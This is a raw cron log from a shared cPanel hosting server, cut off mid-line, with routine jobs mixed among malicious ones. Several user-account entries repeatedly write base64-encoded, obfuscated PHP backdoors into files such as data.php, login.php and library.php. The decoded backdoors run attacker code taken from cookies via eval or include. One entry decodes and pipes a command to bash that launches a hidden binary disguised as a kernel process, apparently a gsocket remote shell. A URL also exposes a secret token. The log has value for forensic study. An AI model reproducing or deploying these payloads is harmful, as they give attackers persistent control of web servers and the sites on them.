Mar  1 07:59:01 medusa CROND[18704]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:59:01 medusa CROND[18705]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:59:01 medusa CROND[18706]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 07:59:01 medusa CROND[18710]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:59:01 medusa CROND[18715]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:00:01 medusa CROND[8785]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 08:00:01 medusa CROND[8853]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 08:00:01 medusa CROND[8966]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 08:00:01 medusa CROND[8967]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 08:00:01 medusa CROND[8968]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 08:00:01 medusa CROND[8970]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:00:01 medusa CROND[8975]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:00:01 medusa CROND[8972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:00:01 medusa CROND[8976]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:00:01 medusa CROND[8974]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 08:00:01 medusa CROND[8971]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:00:01 medusa CROND[8973]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Mar  1 08:00:01 medusa CROND[8969]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 08:00:01 medusa CROND[8977]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 08:00:01 medusa CROND[8989]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  1 08:00:01 medusa CROND[8990]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 08:00:01 medusa CROND[8991]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 08:00:01 medusa CROND[8986]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 08:00:01 medusa CROND[8994]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 08:00:01 medusa CROND[8995]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Mar  1 08:00:01 medusa CROND[8997]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/lista/cron_insert_turno.php > /dev/null)
Mar  1 08:00:01 medusa CROND[8980]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Mar  1 08:00:01 medusa CROND[9007]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 08:00:01 medusa CROND[8993]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 08:00:01 medusa CROND[9008]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  1 08:00:01 medusa CROND[9011]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:00:01 medusa CROND[9010]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 08:00:01 medusa CROND[9013]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:00:01 medusa CROND[9016]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Mar  1 08:00:01 medusa CROND[9015]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 08:00:01 medusa CROND[9020]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:00:01 medusa CROND[9024]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 08:00:01 medusa CROND[9026]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Mar  1 08:00:01 medusa CROND[9029]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:00:01 medusa CROND[8979]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:00:01 medusa CROND[9035]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:00:01 medusa CROND[9022]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Mar  1 08:00:01 medusa CROND[9028]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Mar  1 08:00:01 medusa CROND[9021]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 08:00:01 medusa CROND[9027]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 08:01:01 medusa CROND[30853]: (root) CMD (run-parts /etc/cron.hourly)
Mar  1 08:01:01 medusa CROND[30855]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 08:01:01 medusa CROND[30856]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 08:01:01 medusa CROND[30857]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:01:01 medusa CROND[30858]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3R